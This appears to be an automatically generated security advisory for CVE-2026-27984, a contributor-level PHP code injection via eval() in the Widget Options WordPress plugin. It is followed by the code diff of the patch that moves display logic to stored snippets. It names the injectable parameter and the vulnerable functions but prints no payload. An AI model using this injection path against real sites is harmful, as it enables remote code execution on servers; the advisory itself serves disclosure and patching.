Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-27984: Widget Options – Advanced Conditional Visibility for Gutenberg Blocks & Classic Widgets <= 4.1.3 – Authenticated (Contributor+) Remote Code Execution (widget-options)

Severity High (CVSS 8.8)
CWE 94
Vulnerable Version 4.1.3
Patched Version 4.2.0
Disclosed March 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-27984:
The vulnerability exists in the Widget Options plugin’s display logic evaluation system. The root cause is the plugin’s unsafe use of the eval() function on user-controlled PHP code without proper sanitization or sandboxing. In versions up to 4.1.3, the plugin allowed Contributor-level users to inject arbitrary PHP code into widget display logic fields that would be executed via eval() during page rendering.

The exploitation method involves authenticated users with Contributor+ privileges accessing page builder interfaces (Elementor or Beaver Builder) or widget configuration screens. Attackers inject malicious PHP code into the ‘widgetopts_settings_logic’ parameter or similar display logic fields. When the widget renders, the plugin’s widgetopts_safe_eval() function in includes/extras.php executes the untrusted code via eval(). The vulnerable code path includes the widgetopts_beaver_is_node_visible() function in includes/pagebuilders/beaver/beaver.php and widgetopts_elementor_is_render_mode() in includes/pagebuilders/elementor/elementor.php, which process the logic parameter.

The patch introduces a new snippet-based system that replaces direct eval() execution. Key changes include: adding a migration page (migration-page.php) for converting legacy logic to snippets, implementing a custom post type for storing logic snippets, removing dangerous array manipulation functions from the allowed function list in extras.php, and adding protection mechanisms that prevent modification of legacy logic values. The fix removes the direct eval() execution path and replaces it with a controlled snippet execution system that validates snippet IDs rather than executing arbitrary code.

Exploitation leads to remote code execution with the web server’s privileges. Attackers can execute arbitrary system commands, read/write files, establish reverse shells, or perform other malicious actions. The vulnerability affects all WordPress installations with the vulnerable plugin version and Contributor+ users.

Differential between vulnerable and patched code

Code Diff
--- a/widget-options/includes/admin/settings/migration-page.php
+++ b/widget-options/includes/admin/settings/migration-page.php
@@ -0,0 +1,142 @@
+<?php
+/**
+ * Display Logic Migration Page
+ *
+ * Provides a UI for reviewing and batch-migrating legacy display logic
+ * snippets to the new snippet-based system.
+ *
+ * @copyright   Copyright (c) 2024, Widget Options Team
+ * @since       5.1
+ */
+
+// Exit if accessed directly
+if (!defined('ABSPATH')) exit;
+?>
+<div class="wrap" id="widgetopts-migration-wrap">
+    <h1><?php esc_html_e('Display Logic Migration', 'widget-options'); ?></h1>
+
+    <div id="widgetopts-migration-notices"></div>
+
+    <div id="widgetopts-migration-loading" style="padding: 20px; text-align: center;">
+        <span class="spinner is-active" style="float: none;"></span>
+        <span><?php esc_html_e('Scanning website for legacy display logic...', 'widget-options'); ?></span>
+    </div>
+
+    <div id="widgetopts-migration-empty" style="display:none; padding: 20px; background: #f0f6fc; border-left: 4px solid #72aee6;">
+        <p><strong><?php esc_html_e('No legacy display logic found.', 'widget-options'); ?></strong></p>
+        <p><?php esc_html_e('All widgets are using the new snippet-based system.', 'widget-options'); ?></p>
+    </div>
+
+    <div id="widgetopts-migration-content" style="display:none;">
+        <div style="margin-bottom: 15px; display: flex; gap: 8px; align-items: center;">
+            <button type="button" class="button button-primary" id="widgetopts-migrate-all">
+                <?php esc_html_e('Migrate All', 'widget-options'); ?>
+            </button>
+            <button type="button" class="button" id="widgetopts-migrate-selected">
+                <?php esc_html_e('Migrate Selected', 'widget-options'); ?>
+            </button>
+            <label style="margin-left: 10px;">
+                <input type="checkbox" id="widgetopts-select-all" />
+                <?php esc_html_e('Select All', 'widget-options'); ?>
+            </label>
+        </div>
+
+        <table class="wp-list-table widefat fixed striped" id="widgetopts-migration-table">
+            <thead>
+                <tr>
+                    <td class="manage-column column-cb check-column" style="width: 40px;">
+                        <span class="screen-reader-text"><?php esc_html_e('Select', 'widget-options'); ?></span>
+                    </td>
+                    <th class="manage-column" style="width: 35%;"><?php esc_html_e('Code Snippet', 'widget-options'); ?></th>
+                    <th class="manage-column" style="width: 20%;"><?php esc_html_e('Name', 'widget-options'); ?></th>
+                    <th class="manage-column" style="width: 35%;"><?php esc_html_e('Locations', 'widget-options'); ?></th>
+                    <th class="manage-column" style="width: 10%;"><?php esc_html_e('Actions', 'widget-options'); ?></th>
+                </tr>
+            </thead>
+            <tbody id="widgetopts-migration-tbody">
+            </tbody>
+        </table>
+    </div>
+</div>
+
+<style>
+    #widgetopts-migration-table .widgetopts-code-preview {
+        font-family: 'Courier New', Consolas, Monaco, monospace;
+        font-size: 12px;
+        line-height: 1.4;
+        background: #f9f2f4;
+        color: #c7254e;
+        padding: 8px 10px;
+        border-radius: 3px;
+        max-height: 120px;
+        overflow-y: auto;
+        white-space: pre-wrap;
+        word-break: break-all;
+        display: block;
+    }
+    #widgetopts-migration-table .widgetopts-name-input {
+        width: 100%;
+        padding: 4px 8px;
+    }
+    #widgetopts-migration-table .widgetopts-locations-list {
+        list-style: none;
+        margin: 0;
+        padding: 0;
+        font-size: 12px;
+    }
+    #widgetopts-migration-table .widgetopts-locations-list li {
+        padding: 2px 0;
+        color: #50575e;
+    }
+    #widgetopts-migration-table .widgetopts-locations-list .widgetopts-loc-type {
+        display: inline-block;
+        padding: 1px 6px;
+        border-radius: 3px;
+        font-size: 10px;
+        font-weight: 600;
+        text-transform: uppercase;
+        margin-right: 4px;
+        color: #fff;
+    }
+    .widgetopts-loc-type-classic_widget { background: #0073aa; }
+    .widgetopts-loc-type-gutenberg { background: #1e1e1e; }
+    .widgetopts-loc-type-elementor { background: #92003B; }
+    .widgetopts-loc-type-beaver { background: #6bc04b; }
+    .widgetopts-loc-type-siteorigin { background: #2ea2cc; }
+    .widgetopts-loc-count {
+        display: inline-block;
+        font-size: 11px;
+        font-weight: 600;
+        color: #787c82;
+    }
+    #widgetopts-migration-table .widgetopts-locations-list {
+        max-height: 150px;
+        overflow-y: auto;
+    }
+    #widgetopts-migration-table .button-delete {
+        color: #b32d2e;
+        border-color: #b32d2e;
+    }
+    #widgetopts-migration-table .button-delete:hover {
+        background: #b32d2e;
+        color: #fff;
+    }
+    .widgetopts-migration-notice {
+        padding: 10px 15px;
+        margin: 10px 0;
+        border-left: 4px solid;
+        background: #fff;
+    }
+    .widgetopts-migration-notice.success {
+        border-color: #00a32a;
+        background: #f0f6e8;
+    }
+    .widgetopts-migration-notice.error {
+        border-color: #d63638;
+        background: #fcf0f1;
+    }
+    .widgetopts-row-disabled {
+        opacity: 0.5;
+        pointer-events: none;
+    }
+</style>
--- a/widget-options/includes/admin/settings/modules/logic.php
+++ b/widget-options/includes/admin/settings/modules/logic.php
@@ -31,9 +31,24 @@
 					<?php if( $widget_options['logic'] == 'activate' ){ ?>
 						<button class="button button-secondary widgetopts-toggle-settings"><?php _e( 'Configure Settings', 'widget-options' );?></button>
 						<button class="button button-secondary widgetopts-toggle-activation"><?php _e( 'Disable', 'widget-options' );?></button>
+						<?php if( current_user_can( 'manage_options' ) ){ ?>
+							<a href="<?php echo admin_url('edit.php?post_type=widgetopts_snippet'); ?>" class="button button-secondary widgetopts-manage-snippets-btn" style="margin-left: 5px;">
+								<?php _e( 'Manage Snippets', 'widget-options' );?>
+							</a>
+						<?php } ?>
+						<?php if( current_user_can( WIDGETOPTS_MIGRATION_PERMISSIONS ) ){ ?>
+							<a href="<?php echo admin_url('options-general.php?page=widgetopts_migration'); ?>" class="button button-secondary" style="margin-left: 5px;">
+								<?php _e( 'Migrate', 'widget-options' );?>
+							</a>
+						<?php } ?>
 					<?php }else{ ?>
 						<button class="button button-secondary widgetopts-toggle-settings"><?php _e( 'Learn More', 'widget-options' );?></button>
 						<button class="button button-primary widgetopts-toggle-activation"><?php _e( 'Enable', 'widget-options' );?></button>
+						<?php if( current_user_can( 'manage_options' ) ){ ?>
+							<a href="<?php echo admin_url('edit.php?post_type=widgetopts_snippet'); ?>" class="button button-secondary widgetopts-manage-snippets-btn" style="margin-left: 5px; display: none;">
+								<?php _e( 'Manage Snippets', 'widget-options' );?>
+							</a>
+						<?php } ?>
 					<?php } ?>

 				</div>
@@ -62,6 +77,19 @@
 							</p>
 						</td>
 					</tr>
+					<tr>
+						<th scope="row">
+							<label><?php _e( 'Logic Snippets', 'widget-options' );?></label>
+						</th>
+						<td>
+							<a href="<?php echo admin_url('edit.php?post_type=widgetopts_snippet'); ?>" class="button button-secondary">
+								<?php _e( 'Manage Logic Snippets', 'widget-options' );?>
+							</a>
+							<p class="description">
+								<?php _e( 'Create and manage reusable display logic snippets for your widgets.', 'widget-options' );?>
+							</p>
+						</td>
+					</tr>
 				</table>
 			<?php widgetopts_modal_end( $widget_options['logic'] ); ?>

--- a/widget-options/includes/extras.php
+++ b/widget-options/includes/extras.php
@@ -609,23 +609,9 @@
         'wordwrap',

         // Array Manipulation
-        'array_merge',
-        'array_diff',
-        'array_filter',
-        'array_map',
-        'array_keys',
-        'array_values',
         'in_array',
         'count',
         'sizeof',
-        'array_slice',
-        'array_push',
-        'array_pop',
-        'array_reduce',
-        'array_intersect',
-        'array_unique',
-        'array_column',
-        'array_reverse',

         // Math Functions
         'abs',
@@ -909,5 +895,15 @@
         return true;
     }

+    // Check if Beaver Builder is in edit mode
+    if (class_exists('FLBuilderModel') && FLBuilderModel::is_builder_active()) {
+        return true;
+    }
+
+    // Check if Elementor is in edit mode
+    if (class_exists('ElementorPlugin') && ElementorPlugin::$instance->editor->is_edit_mode()) {
+        return true;
+    }
+
     return false;
 }
--- a/widget-options/includes/install.php
+++ b/widget-options/includes/install.php
@@ -45,10 +45,21 @@
 if (!function_exists('widgetopts_register_defaults')) {
 	register_activation_hook(WIDGETOPTS_PLUGIN_FILE, function () {
 		add_option('Activated_Plugin', WIDGETOPTS_PLUGIN_FILE);
+		update_option('widgetopts_force_migration_rescan', 1);
 		widgetopts_register_defaults();
 	});

 	add_action('admin_init', function () {
+		if (is_admin() && get_option('widgetopts_force_migration_rescan')) {
+			delete_option('widgetopts_force_migration_rescan');
+			if (class_exists('WidgetOpts_Snippets_Migration')) {
+				WidgetOpts_Snippets_Migration::rescan_and_update_flag();
+			} elseif (class_exists('WidgetOpts_Snippets_CPT')) {
+				delete_option('wopts_display_logic_migration_required');
+				WidgetOpts_Snippets_CPT::scan_for_legacy_logic();
+			}
+		}
+
 		if (is_admin() && get_option('Activated_Plugin') == WIDGETOPTS_PLUGIN_FILE) {
 			delete_option('Activated_Plugin');
 			exit(wp_redirect(admin_url('options-general.php?page=widgetopts_plugin_settings')));
--- a/widget-options/includes/pagebuilders/beaver/beaver.php
+++ b/widget-options/includes/pagebuilders/beaver/beaver.php
@@ -44,6 +44,7 @@
 			// add_action( 'admin_notices', array( &$this, 'widgetopts_plugin_check' ) );

 			add_filter('fl_builder_is_node_visible', array(&$this, 'widgetopts_beaver_is_node_visible'), 10, 2);
+			add_action('fl_builder_control_widgetopts-beaver-legacy', array(&$this, 'fl_widgetopts_beaver_legacy_control'), 1, 4);
 		}

 		function widgetopts_beaver_settings($form, $id)
@@ -210,10 +211,48 @@
 					$settings_fld = array();

 					if (isset($widget_options['logic']) && 'activate' == $widget_options['logic']) {
+						// Get available snippets for dropdown
+						$snippet_options = array('' => __('— No Logic (Always Show) —', 'widget-options'));
+						if (class_exists('WidgetOpts_Snippets_CPT')) {
+							$snippets = WidgetOpts_Snippets_CPT::get_all_snippets();
+							foreach ($snippets as $snippet) {
+								$snippet_options[$snippet['id']] = $snippet['title'];
+							}
+						}
+
+						$snippet_description = __('Select a logic snippet to control when this widget is displayed.', 'widget-options');
+						if (current_user_can('manage_options')) {
+							$snippet_description .= '<br><a href="' . admin_url('edit.php?post_type=widgetopts_snippet') . '" target="_blank" style="display:inline-block;margin-top:5px;padding:3px 8px;background:#0073aa;color:#fff;text-decoration:none;border-radius:3px;font-size:11px;">' . __('Manage Snippets', 'widget-options') . ' →</a>';
+						}
+
+						// Hidden field to ensure BB includes legacy logic value in settings
 						$settings_fld['widgetopts_settings_logic'] = array(
-							'type'          => 'textarea',
-							'label' 		=> __('Display Logic', 'widget-options'),
-							'description' 	=> __('<small>PLEASE NOTE that the display logic you introduce is EVAL'd directly. Anyone who has access to edit widget appearance will have the right to add any code, including malicious and possibly destructive functions. There is an optional filter "widget_options_logic_override" which you can use to bypass the EVAL with your own code if needed.</small>', 'widget-options')
+							'type'    => 'hidden',
+							'default' => '',
+						);
+
+						// Hidden flag: set to '1' when user clicks Clear button
+						$settings_fld['widgetopts_logic_cleared'] = array(
+							'type'    => 'hidden',
+							'default' => '',
+						);
+
+						// Widget Options version stamp
+						$settings_fld['widgetopts_wopt_version'] = array(
+							'type'    => 'hidden',
+							'default' => '',
+						);
+
+						// Per-node legacy logic display (shown only when this node has legacy code)
+						$settings_fld['widgetopts_legacy_logic_display'] = array(
+							'type' => 'widgetopts-beaver-legacy',
+						);
+
+						$settings_fld['widgetopts_logic_snippet_id'] = array(
+							'type'          => 'widgetopts-select2',
+							'label' 		=> __('Display Logic Snippet', 'widget-options'),
+							'options'       => $snippet_options,
+							'description' 	=> $snippet_description
 						);
 					}

@@ -313,7 +352,7 @@
 				<?php if (isset($widget_options['visibility']) && 'activate' == $widget_options['visibility']) { ?>
 					<a onclick="widgetoptsBeaverModule.navClick(event)" href="#fl-builder-settings-section-widgetopts-visibility" class="widgetopts-s-active"><span class="dashicons dashicons-visibility"></span><?php _e('Visibility', 'widget-options'); ?></a>
 				<?php } ?>
-				<?php if (isset($widget_options['logic']) && 'activate' == $widget_options['logic'] && current_user_can('administrator')) { ?>
+				<?php if (isset($widget_options['logic']) && 'activate' == $widget_options['logic']) { ?>
 					<a onclick="widgetoptsBeaverModule.navClick(event)" href="#fl-builder-settings-section-widgetopts-settings" class=""><span class="dashicons dashicons-admin-generic"></span><?php _e('Settings', 'widget-options'); ?></a>
 				<?php } ?>
 				<a onclick="widgetoptsBeaverModule.navClick(event)" href="#fl-builder-settings-section-widgetopts-upgrade"><span class="dashicons dashicons-plus"></span><?php _e('More', 'widget-options'); ?></a>
@@ -401,7 +440,7 @@
 				}
 			}

-			if (!empty($options) && $value) {
+			if (!empty($options) && $value && is_array($value)) {
 				uksort($options, function ($key1, $key2) use ($value) {
 					return array_search($key1, $value) <=> array_search($key2, $value);
 				});
@@ -414,11 +453,15 @@
 		?>
 			<select name="<?php echo $name;
 							if (isset($field['multi-select'])) echo '[]'; ?>" class="widgetopts-select2 <?php echo $field['class']; ?>" <?php if (isset($field['multi-select'])) echo 'multiple ';
-																																		echo $attributes; ?> placeholder="<?php _e('Click to search or select', 'widget-options'); ?>">
-				<option></option>
+																																	echo $attributes; ?> placeholder="<?php _e('Click to search or select', 'widget-options'); ?>">
+				<option value=""><?php echo isset($options['']) ? esc_html(is_array($options['']) ? $options['']['label'] : $options['']) : ''; ?></option>
 				<?php
 				foreach ($options as $option_key => $option_val) :

+					if ($option_key === '') {
+						continue;
+					}
+
 					if (is_array($option_val) && isset($option_val['premium']) && $option_val['premium'] && true === FL_BUILDER_LITE) {
 						continue;
 					}
@@ -439,6 +482,54 @@
 			</select>
 		<?php }

+		/**
+		 * Custom control: show legacy logic readonly textarea + warning per-node
+		 */
+		function fl_widgetopts_beaver_legacy_control($name, $value, $field, $settings)
+		{
+			// Don't show if snippet_id is already set (migration done)
+			if (!empty($settings->widgetopts_logic_snippet_id)) {
+				return;
+			}
+
+			// Only render if this specific node has legacy logic code
+			$legacy_code = '';
+			if (isset($settings->widgetopts_settings_logic) && !empty($settings->widgetopts_settings_logic)) {
+				$legacy_code = $settings->widgetopts_settings_logic;
+			} elseif (isset($settings->widgetopts_settings_logic_backup) && !empty($settings->widgetopts_settings_logic_backup)) {
+				$legacy_code = $settings->widgetopts_settings_logic_backup;
+			}
+
+			if (empty($legacy_code)) {
+				return;
+			}
+
+			$migration_url = admin_url('options-general.php?page=widgetopts_migration');
+			?>
+			<div class="widgetopts-legacy-logic-wrap" style="margin-bottom:15px;">
+				<p><strong><?php _e('Legacy Display Logic Code', 'widget-options'); ?></strong></p>
+				<textarea readonly="readonly" rows="4" style="width:100%;background:#f9f2f4;color:#c7254e;font-family:monospace;font-size:12px;cursor:not-allowed;resize:vertical;"><?php echo esc_textarea($legacy_code); ?></textarea>
+				<p style="margin-top:8px;padding:8px 12px;background:#fff3cd;border-left:4px solid #ffc107;color:#856404;font-size:12px;">
+					<?php _e('This module uses legacy inline display logic. Please migrate it to the new snippet-based system.', 'widget-options'); ?>
+					<?php if (current_user_can(WIDGETOPTS_MIGRATION_PERMISSIONS)) : ?>
+						<br><a href="<?php echo esc_url($migration_url); ?>" target="_blank"><?php _e('Go to Migration Page', 'widget-options'); ?> →</a>
+					<?php endif; ?>
+				</p>
+				<button type="button" class="fl-builder-button fl-builder-button-primary widgetopts-bb-clear-legacy" style="margin-top:8px;padding:5px 15px;background:#dc3545;color:#fff;border:none;border-radius:3px;cursor:pointer;font-size:12px;" onclick="(function(btn){var form=jQuery(btn).closest('form,.fl-builder-settings');if(form.length){form.find('input[name=widgetopts_settings_logic]').val('');form.find('input[name=widgetopts_logic_cleared]').val('1');jQuery(btn).closest('.widgetopts-legacy-logic-wrap').slideUp();form.find('#fl-field-widgetopts_logic_snippet_id').show();}})( this)">
+					<?php _e('Clear Legacy Logic', 'widget-options'); ?>
+				</button>
+			</div>
+			<script>
+			jQuery(function(){
+				var wrap = jQuery('.widgetopts-legacy-logic-wrap');
+				if (wrap.length && wrap.is(':visible')) {
+					wrap.closest('form,.fl-builder-settings').find('#fl-field-widgetopts_logic_snippet_id').hide();
+				}
+			});
+			</script>
+			<?php
+		}
+
 		function fl_widgetopts_upgrade($name, $value, $field, $settings)
 		{ ?>
 			<div class="extended-widget-opts-tabcontent extended-widget-opts-tabcontent-gopro">
@@ -808,8 +899,23 @@

 			//widget logic
 			if (isset($widget_options['logic']) && 'activate' == $widget_options['logic']) {
-				if (isset($settings->widgetopts_settings_logic) && !empty($settings->widgetopts_settings_logic)) {
-					//do widget logic
+				// New snippet-based system
+				if (isset($settings->widgetopts_logic_snippet_id) && !empty($settings->widgetopts_logic_snippet_id)) {
+					$snippet_id = $settings->widgetopts_logic_snippet_id;
+					if (class_exists('WidgetOpts_Snippets_API')) {
+						$result = WidgetOpts_Snippets_API::execute_snippet($snippet_id);
+						if ($result === false) {
+							return false;
+						}
+					}
+				}
+				// Legacy support for old inline logic
+				elseif (isset($settings->widgetopts_settings_logic) && !empty($settings->widgetopts_settings_logic)) {
+					// Flag that legacy migration is needed
+					if (!get_option('wopts_display_logic_migration_required', false)) {
+						update_option('wopts_display_logic_migration_required', true);
+					}
+
 					$display_logic = stripslashes(trim($settings->widgetopts_settings_logic));
 					$display_logic = apply_filters('widget_options_logic_override', $display_logic);
 					$display_logic = apply_filters('extended_widget_options_logic_override', $display_logic);
@@ -819,9 +925,6 @@
 					if ($display_logic === true) {
 						return true;
 					}
-					// if (stristr($display_logic, "return") === false) {
-					// 	$display_logic = "return (" . $display_logic . ");";
-					// }
 					$display_logic = htmlspecialchars_decode($display_logic, ENT_QUOTES);
 					try {
 						if (!widgetopts_safe_eval($display_logic)) {
@@ -850,4 +953,84 @@
 	add_action('plugins_loaded', array('WP_Widget_Options_Beaver', 'init'));
 // new WP_Widget_Options_Beaver();

+	/**
+	 * Protect legacy display logic from modification/injection on BB save.
+	 * Always restores the DB value for widgetopts_settings_logic per node.
+	 * Prevents code injection via console AND data loss before migration.
+	 *
+	 * @since 5.1
+	 */
+	add_filter('fl_builder_before_save_layout', function($data) {
+		if (!is_array($data) || !class_exists('FLBuilderModel')) {
+			return $data;
+		}
+
+		$post_id = FLBuilderModel::get_post_id();
+		if (!$post_id) {
+			return $data;
+		}
+
+		// Build map: node_id => old widgetopts_settings_logic from DB
+		$old_logic = array();
+		foreach (array('_fl_builder_data', '_fl_builder_draft') as $mk) {
+			$old_nodes = get_post_meta($post_id, $mk, true);
+			if (is_array($old_nodes)) {
+				foreach ($old_nodes as $nid => $node) {
+					if (is_object($node) && isset($node->settings) && is_object($node->settings)
+						&& !empty($node->settings->widgetopts_settings_logic)) {
+						$old_logic[$nid] = $node->settings->widgetopts_settings_logic;
+					}
+				}
+			}
+		}
+
+		// Protect each node
+		foreach ($data as $nid => &$node) {
+			if (!is_object($node) || !isset($node->settings) || !is_object($node->settings)) {
+				continue;
+			}
+
+			$wopt_ver = isset($node->settings->widgetopts_wopt_version) ? $node->settings->widgetopts_wopt_version : '';
+			$has_snippet = !empty($node->settings->widgetopts_logic_snippet_id);
+			$has_legacy = !empty($node->settings->widgetopts_settings_logic);
+
+			// If wopt_version >= 4.2: legacy logic is obsolete — clear it
+			if ($wopt_ver !== '' && version_compare($wopt_ver, '4.2', '>=')) {
+				if ($has_legacy) {
+					$node->settings->widgetopts_settings_logic = '';
+				}
+				continue;
+			}
+
+			// Auto-clear legacy logic if snippet_id is already set (migration done)
+			if ($has_snippet && $has_legacy) {
+				$node->settings->widgetopts_settings_logic = '';
+				$node->settings->widgetopts_wopt_version = WIDGETOPTS_VERSION;
+				continue;
+			}
+
+			// User intentionally cleared legacy logic via Clear button
+			if (!empty($node->settings->widgetopts_logic_cleared)) {
+				$node->settings->widgetopts_settings_logic = '';
+				unset($node->settings->widgetopts_logic_cleared);
+				$node->settings->widgetopts_wopt_version = WIDGETOPTS_VERSION;
+				continue;
+			}
+
+			$old_val = isset($old_logic[$nid]) ? $old_logic[$nid] : '';
+			$new_val = isset($node->settings->widgetopts_settings_logic) ? $node->settings->widgetopts_settings_logic : '';
+
+			if ($new_val !== $old_val) {
+				if ($old_val !== '') {
+					$node->settings->widgetopts_settings_logic = $old_val;
+				} else {
+					unset($node->settings->widgetopts_settings_logic);
+				}
+			}
+
+		}
+
+		return $data;
+	}, 10, 1);
+
 endif;
--- a/widget-options/includes/pagebuilders/elementor/elementor.php
+++ b/widget-options/includes/pagebuilders/elementor/elementor.php
@@ -68,6 +68,14 @@

                 //filter by the section_ids above
                 if (in_array($section_id, $widgetopts_elementor_section_id)) {
+                    // Prevent duplicate control registration for the same element
+                    static $processed_elements = [];
+                    $el_key = spl_object_id($element);
+                    if (isset($processed_elements[$el_key])) {
+                        return;
+                    }
+                    $processed_elements[$el_key] = true;
+
                     $element->start_controls_section(
                         'widgetopts_section',
                         [
@@ -91,7 +99,7 @@
                         widgetopts_elementor_tab_state($element, $section_id, $args);
                     }

-                    if (current_user_can('administrator') && ('activate' == $widget_options['logic'] || (isset($widget_options['sliding']) && 'activate' == $widget_options['sliding'] && in_array($element->get_name(), array('button', 'button_plus', 'eael-creative-button', 'cta'))))) {
+                    if ('activate' == $widget_options['logic'] || (isset($widget_options['sliding']) && 'activate' == $widget_options['sliding'] && in_array($element->get_name(), array('button', 'button_plus', 'eael-creative-button', 'cta')))) {
                         widgetopts_elementor_tab_settings($element, $section_id, $args);
                     }

@@ -375,15 +383,96 @@
             );
         }

-        if ('activate' == $widget_options['logic'] && current_user_can('administrator')) {
-
+        if ('activate' == $widget_options['logic']) {
+            // Hidden control to store legacy logic value (avoids self-referencing condition)
             $element->add_control(
                 'widgetopts_logic',
                 [
-                    'type'          => ElementorControls_Manager::TEXTAREA,
-                    'label'         => __('Display Widget Logic', 'widget-options'),
-                    'description'   => __('Add your PHP Conditional Tags. Please note that this will be EVAL'd directly.', 'widget-options'),
-                    // 'separator'     => 'none',
+                    'type'          => ElementorControls_Manager::HIDDEN,
+                    'default'       => '',
+                ],
+                [
+                    'overwrite'         => true
+                ]
+            );
+
+            // Hidden flag: set to '1' when user clicks Clear button
+            $element->add_control(
+                'widgetopts_logic_cleared',
+                [
+                    'type'          => ElementorControls_Manager::HIDDEN,
+                    'default'       => '',
+                ],
+                [
+                    'overwrite'         => true
+                ]
+            );
+
+            // Widget Options version stamp — used to determine if legacy logic should be used
+            $element->add_control(
+                'widgetopts_wopt_version',
+                [
+                    'type'          => ElementorControls_Manager::HIDDEN,
+                    'default'       => '',
+                ],
+                [
+                    'overwrite'         => true
+                ]
+            );
+
+            // RAW_HTML warning + Clear button — shown only when legacy logic exists and no snippet assigned
+            $migration_url = admin_url('options-general.php?page=widgetopts_migration');
+            $migration_link = current_user_can(WIDGETOPTS_MIGRATION_PERMISSIONS)
+                ? '<br><a href="' . esc_url($migration_url) . '" target="_blank">' . __('Go to Migration Page', 'widget-options') . ' →</a>'
+                : '';
+            $element->add_control(
+                'widgetopts_legacy_warning',
+                [
+                    'type'          => ElementorControls_Manager::RAW_HTML,
+                    'raw'           => '<div style="margin-bottom:10px;">'
+                        . '<p style="margin:0 0 5px;"><strong>' . __('Legacy Display Logic Code', 'widget-options') . '</strong></p>'
+                        . '<p style="margin:0;padding:8px 12px;background:#fff3cd;border-left:4px solid #ffc107;color:#856404;font-size:12px;">'
+                        . __('This element uses legacy inline display logic that needs migration.', 'widget-options')
+                        . $migration_link
+                        . '</p>'
+                        . '<button type="button" class="elementor-button widgetopts-clear-legacy-logic" style="margin-top:8px;padding:5px 15px;background:#dc3545;color:#fff;border:none;border-radius:3px;cursor:pointer;font-size:12px;">' . __('Clear Legacy Logic', 'widget-options') . '</button>'
+                        . '</div>',
+                    'condition'     => [
+                        'widgetopts_logic!' => '',
+                        'widgetopts_logic_snippet_id' => '',
+                    ],
+                ],
+                [
+                    'overwrite'         => true
+                ]
+            );
+
+            // Get available snippets for dropdown
+            $snippet_options = array('' => __('— No Logic (Always Show) —', 'widget-options'));
+            if (class_exists('WidgetOpts_Snippets_CPT')) {
+                $snippets = WidgetOpts_Snippets_CPT::get_all_snippets();
+                foreach ($snippets as $snippet) {
+                    $snippet_options[$snippet['id']] = $snippet['title'];
+                }
+            }
+
+            $snippet_description = __('Select a logic snippet to control when this widget is displayed.', 'widget-options');
+            if (current_user_can('manage_options')) {
+                $snippet_description .= '<br><a href="' . admin_url('edit.php?post_type=widgetopts_snippet') . '" target="_blank" style="display:inline-block;margin-top:5px;padding:3px 8px;background:#0073aa;color:#fff;text-decoration:none;border-radius:3px;font-size:11px;">' . __('Manage Snippets', 'widget-options') . ' →</a>';
+            }
+
+            $element->add_control(
+                'widgetopts_logic_snippet_id',
+                [
+                    'type'          => ElementorControls_Manager::SELECT2,
+                    'label'         => __('Display Logic Snippet', 'widget-options'),
+                    'label_block'   => true,
+                    'description'   => $snippet_description,
+                    'options'       => $snippet_options,
+                    'default'       => '',
+                    'condition'     => [
+                        'widgetopts_logic' => '',
+                    ],
                 ],
                 [
                     'overwrite'         => true
@@ -526,3 +615,281 @@
         return false;
     }
 }
+
+/**
+ * Protect legacy display logic from modification/injection on Elementor save.
+ * Strategy: capture old DB value before save, restore it after save.
+ * This prevents both code injection via console AND data loss before migration.
+ *
+ * @since 5.1
+ */
+add_action('elementor/document/before_save', function($document) {
+    $post_id = $document->get_main_id();
+    $GLOBALS['_wopts_el_pre_save_' . $post_id] = get_post_meta($post_id, '_elementor_data', true);
+}, 5, 1);
+
+add_action('elementor/document/after_save', function($document) {
+    $post_id = $document->get_main_id();
+    $key = '_wopts_el_pre_save_' . $post_id;
+    $old_raw = isset($GLOBALS[$key]) ? $GLOBALS[$key] : '';
+    unset($GLOBALS[$key]);
+
+    // Build map of element_id => old widgetopts_logic value
+    $old_logic = array();
+    if ($old_raw) {
+        $old_els = is_string($old_raw) ? json_decode($old_raw, true) : $old_raw;
+        if (is_array($old_els)) {
+            $walk_old = function($els) use (&$walk_old, &$old_logic) {
+                foreach ($els as $el) {
+                    if (!empty($el['id']) && !empty($el['settings']['widgetopts_logic'])) {
+                        $old_logic[$el['id']] = $el['settings']['widgetopts_logic'];
+                    }
+                    if (!empty($el['elements'])) $walk_old($el['elements']);
+                }
+            };
+            $walk_old($old_els);
+        }
+    }
+
+    // Read the just-saved data and fix it
+    $saved_raw = get_post_meta($post_id, '_elementor_data', true);
+    if (empty($saved_raw)) return;
+    $saved_els = json_decode($saved_raw, true);
+    if (!is_array($saved_els)) return;
+
+    $changed = false;
+    $protect = function(&$els) use (&$protect, &$old_logic, &$changed) {
+        foreach ($els as &$el) {
+            $id = isset($el['id']) ? $el['id'] : '';
+            $wopt_ver = isset($el['settings']['widgetopts_wopt_version']) ? $el['settings']['widgetopts_wopt_version'] : '';
+            $has_snippet = !empty($el['settings']['widgetopts_logic_snippet_id']);
+            $has_legacy = !empty($el['settings']['widgetopts_logic']);
+
+            // If wopt_version >= 4.2: legacy logic is obsolete — clear it
+            if ($wopt_ver !== '' && version_compare($wopt_ver, '4.2', '>=')) {
+                if ($has_legacy) {
+                    $el['settings']['widgetopts_logic'] = '';
+                    $changed = true;
+                }
+                if (!empty($el['elements'])) $protect($el['elements']);
+                continue;
+            }
+
+            // Auto-clear legacy logic if snippet_id is already set (migration done)
+            if ($has_snippet && $has_legacy) {
+                $el['settings']['widgetopts_logic'] = '';
+                $el['settings']['widgetopts_wopt_version'] = WIDGETOPTS_VERSION;
+                $changed = true;
+                if (!empty($el['elements'])) $protect($el['elements']);
+                continue;
+            }
+
+            // User intentionally cleared legacy logic via Clear button
+            $was_cleared = !empty($el['settings']['widgetopts_logic_cleared']);
+            if ($was_cleared) {
+                $el['settings']['widgetopts_logic'] = '';
+                unset($el['settings']['widgetopts_logic_cleared']);
+                $el['settings']['widgetopts_wopt_version'] = WIDGETOPTS_VERSION;
+                $changed = true;
+                if (!empty($el['elements'])) $protect($el['elements']);
+                continue;
+            }
+
+            $old_val = ($id && isset($old_logic[$id])) ? $old_logic[$id] : '';
+            $new_val = isset($el['settings']['widgetopts_logic']) ? $el['settings']['widgetopts_logic'] : '';
+            if ($new_val !== $old_val) {
+                if ($old_val !== '') {
+                    $el['settings']['widgetopts_logic'] = $old_val;
+                } else {
+                    unset($el['settings']['widgetopts_logic']);
+                }
+                $changed = true;
+            }
+
+            if (!empty($el['elements'])) $protect($el['elements']);
+        }
+    };
+    $protect($saved_els);
+
+    if ($changed) {
+        update_post_meta($post_id, '_elementor_data', wp_slash(json_encode($saved_els)));
+    }
+}, 10, 1);
+
